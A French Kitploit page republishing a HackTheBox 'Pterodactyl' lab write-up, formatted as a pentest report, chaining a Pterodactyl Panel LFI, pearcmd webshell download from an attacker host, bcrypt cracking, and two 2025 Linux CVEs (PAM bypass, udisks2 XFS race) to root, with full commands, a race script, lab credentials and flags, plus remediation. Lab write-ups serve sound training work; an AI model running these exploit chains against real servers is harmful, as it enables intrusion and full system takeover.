Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included. | Kitploit
Outils/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationCTF

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Penetration Testing
Learning & Education
Labs & Practice
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.

Voir le dépôt
il y a 4 moisPas encore vérifié

Rapport de Test d'Intrusion — HackTheBox : Pterodactyl

Date : 8 avril 2026
Cible : Pterodactyl (HackTheBox)
Difficulté : Moyenne
OS : Linux (openSUSE Leap 15.6)
Testeur : V0idW1re


Résumé Exécutif

La machine Pterodactyl sur HackTheBox présentait un scénario d'attaque réaliste impliquant une application web mal configurée et des enchaînements de vulnérabilités d'élévation de privilèges. Partant d'une position non authentifiée, le testeur a obtenu un compromis total root via une séquence logique d'étapes d'exploitation. La chaîne d'attaque comprenait une vulnérabilité d'inclusion locale de fichier (LFI) non authentifiée, l'utilisation créative d'un gestionnaire de paquets PHP pour une exécution de code à distance, l'extraction et le craquage d'identifiants, et enfin l'enchaînement de deux CVE publiquement divulguées pour passer d'un utilisateur à faibles privilèges à root.


Périmètre

ChampValeur
IP cible10.129.25.223
Nom d'hôtepterodactyl.htb
OSopenSUSE Leap 15.6
ServicesSSH (22), HTTP (80)
Sous-domainespanel.pterodactyl.htb

Méthodologie

L'évaluation a suivi une méthodologie standard de test d'intrusion :

  1. Reconnaissance et énumération des services
  2. Analyse de l'application web
  3. Exploitation initiale
  4. Post-exploitation et mouvement latéral
  5. Élévation de privilèges
  6. Preuve de compromission

Résultats

Résultat 1 — Inclusion Locale de Fichier non authentifiée (CVE-2025-49132)

Sévérité : Critique
Composant : Pterodactyl Panel v1.11.10 — point d'accès /locales/locale.json

Description :
Le point d'accès des locales du Pterodactyl Panel n'a pas nettoyé les paramètres de requête locale et namespace, permettant un parcours de répertoire. Comme l'application ajoute .php à la valeur du namespace et le charge via le mécanisme d'inclusion de PHP, un attaquant pouvait forcer le serveur à charger et exécuter des fichiers PHP arbitraires sur le système de fichiers.

Exploit :

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Impact :
Les identifiants de la base de données ont été extraits de config/database.php :

  • Nom d'utilisateur : pterodactyl
  • Mot de passe : PteraPanel
  • Base de données : panel

La clé d'application Laravel a également été extraite de config/app.php.

Preuve :

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Résultat 2 — Exécution de Code à Distance via pearcmd.php

Sévérité : Critique
Composant : Installation PHP PEAR + LFI

Description :
Avec la primitive LFI établie, le testeur a exploité le script pearcmd.php du gestionnaire de paquets PEAR. Lorsque la configuration PHP a register_argc_argv=On (confirmé via phpinfo), la chaîne de requête est interprétée comme des arguments de ligne de commande par pearcmd. La commande download a été utilisée pour récupérer un webshell PHP depuis le serveur de l'attaquant et l'enregistrer dans le répertoire public du panel.

Exploit :

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Impact :
Un webshell PHP a été écrit dans /var/www/pterodactyl/public/shell.php, fournissant une exécution de code à distance non authentifiée en tant qu'utilisateur wwwrun.

Preuve :

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Résultat 3 — Identifiants de Base de Données en Clair et Stockage Faible des Mots de Passe

Sévérité : Élevée
Composant : Base de données MySQL panel

Description :
En utilisant le shell RCE, le testeur s'est connecté à la base de données MySQL en utilisant les identifiants obtenus via LFI. La table users contenait des mots de passe hachés avec bcrypt pour tous les utilisateurs du panel. Le hash de l'utilisateur phileasfogg3 a été craqué hors ligne à l'aide d'une liste de mots courante.

Exploit :

root@kitploit:~
SELECT username, password FROM users;

Identifiant craqué :

  • Nom d'utilisateur : phileasfogg3
  • Mot de passe : !QAZ2wsx

Impact :
L'accès SSH a été obtenu en tant que phileasfogg3, et le flag utilisateur a été récupéré :

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Résultat 4 — Contournement de Privilège par Variables d'Environnement PAM (CVE-2025-6018)

Sévérité : Élevée
Composant : Configuration PAM — pam_env.so avec user_readenv=1

Description :
La configuration PAM sur openSUSE Leap 15.6 source le fichier ~/.pam_environment de l'utilisateur via pam_env.so avec user_readenv=1. En définissant des variables d'environnement spécifiques dans ce fichier, un utilisateur SSH non privilégié peut tromper systemd-logind et Polkit en leur faisant croire que la session est une session active sur une console physique, obtenant ainsi les privilèges allow_active.

Exploit :

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Après reconnexion via SSH, la session a été reconnue comme Active=yes, permettant des appels non privilégiés aux méthodes D-Bus d'udisks2 qui nécessitent normalement une présence sur une console physique.

Preuve :

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

Résultat 5 — Condition de Course lors du Redimensionnement XFS dans udisks2 (CVE-2025-6019)

Sévérité : Critique
Composant : udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Description :
Lorsque udisks2 redimensionne un système de fichiers XFS via libblockdev, il monte temporairement l'image du système de fichiers dans un répertoire accessible à tous sous /tmp/blockdev.* sans les flags de montage nosuid et nodev. Cela crée une brève fenêtre de condition de course pendant laquelle tout binaire SUID présent dans l'image peut être exécuté avec un UID effectif élevé.

Un attaquant disposant des privilèges Polkit allow_active (obtenus via CVE-2025-6018) peut :

  1. Créer une image XFS contenant un binaire bash SUID appartenant à root
  2. Configurer un périphérique loop via udisksctl loop-setup
  3. Déclencher le redimensionnement via D-Bus
  4. Lancer la course pour exécuter le binaire SUID pendant la fenêtre de montage temporaire sans nosuid

Note critique sur la compatibilité de l'image XFS :
L'image XFS doit être créée avec des flags spécifiques pour openSUSE Leap 15.6 (SP5/SP6) :

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit :

root@kitploit:~
# Construire l'image XFS malveillante (sur la machine de l'attaquant)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# Sur la cible — lancer la course pendant la fenêtre de redimensionnement
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Preuve :

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Flag root :

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Preuve d'Accès

FlagValeur
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Résumé de l'Élévation de Privilèges

root@kitploit:~
[Non authentifié]
    ↓ CVE-2025-49132 (LFI)
[Identifiants de la base de données]
    ↓ pearcmd RCE
[Shell wwwrun]
    ↓ Extraction de la base MySQL + craquage de hash
[SSH phileasfogg3]
    ↓ CVE-2025-6018 (contournement PAM → allow_active)
    ↓ CVE-2025-6019 (course de redimensionnement XFS udisks2)
[root]

Impact

Compromission totale du système cible. Un attaquant disposant de ce niveau d'accès pourrait :

  • Lire, modifier ou supprimer tous les fichiers du système
  • Installer des portes dérobées ou des logiciels malveillants persistants
  • Pivoter vers d'autres systèmes sur le réseau
  • Accéder à tous les identifiants stockés et données sensibles
  • Perturber ou manipuler les services hébergés

Correction


Ce rapport a été produit à des fins éducatives dans le cadre d'un exercice en laboratoire HackTheBox. Tous les tests ont été effectués sur un environnement de laboratoire légal et isolé.

Télécharger l’outil
RésultatCorrection
CVE-2025-49132 (LFI)Mettre à jour Pterodactyl Panel vers la version 1.11.11 ou ultérieure, qui impose une validation alphanumérique stricte sur les paramètres locale/namespace
RCE via pearcmdDéfinir register_argc_argv=Off dans php.ini ; supprimer PEAR si non nécessaire
Mot de passe faibleAppliquer des politiques de mots de passe forts ; utiliser un gestionnaire de mots de passe
CVE-2025-6018 (PAM)Définir user_readenv=0 dans la configuration PAM pour pam_env.so
CVE-2025-6019 (udisks2)Mettre à jour udisks2 et libblockdev vers des versions corrigées ; modifier la règle Polkit pour org.freedesktop.udisks2.modify-device en remplaçant allow_active de yes à auth_admin